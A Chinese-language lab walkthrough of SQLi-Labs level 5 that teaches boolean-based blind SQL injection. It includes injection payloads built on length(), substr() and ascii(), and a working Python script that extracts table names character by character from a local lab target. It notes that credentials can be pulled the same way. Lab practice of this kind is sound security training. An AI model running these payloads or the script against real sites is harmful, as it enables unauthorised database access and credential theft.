SQLILABS-详解less-5

2024-03-16 1,042 0

打开靶场第五关

一、选择第五关

SQLILABS-详解less-5插图

点击进入打开页面

SQLILABS-详解less-5插图1

按照提示,输入ID

SQLILABS-详解less-5插图2

SQLILABS-详解less-5插图3

二、通过代码审计,发现不管对错只会存在回显和无回显两种,所以union联合方式不适用此题,从上图注入方式可知存在三列

SQLILABS-详解less-5插图4

三、通过布尔盲注方式进行,利用length来确认数据库字符长度

SQLILABS-详解less-5插图5

四、利用BP进行抓取爆破发现,数据库库名长度为8个字符

SQLILABS-详解less-5插图6

通过substr可以查看到对应的第一个字符是S或者s,根据这个情况可以逐一爆出

函数 substr(a,b,c),a是截取的字符串 ,b是截取的位置 ,c是截取的长度

SQLILABS-详解less-5插图7

SQLILABS-详解less-5插图8

最终确认数据库名称8位以及名称为security

SQLILABS-详解less-5插图9

编写脚本进行枚举爆出

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://192.168.1.200:5151/sqlilabs/Less-5"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
	                (select group_concat(table_name)
                    from information_schema.tables where table_schema=database())
                ) = {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
	                substr(
		                (select group_concat(table_name)
                        from information_schema.tables where table_schema=database())
	                ,{n},1)
                ) = {r} -- a"""


# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url=url + payload_len.format(n=length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length, )
            return length;
        else:
            print('正在测试长度:', length)
            length += 1  # 测试长度递增


# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length + 1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url=url + payload_str.format(n=l, r=n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str += chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;


# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

SQLILABS-详解less-5插图10

SQLILABS-详解less-5插图11

后续也可根据脚本编写爆出对应的用户名和密码


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论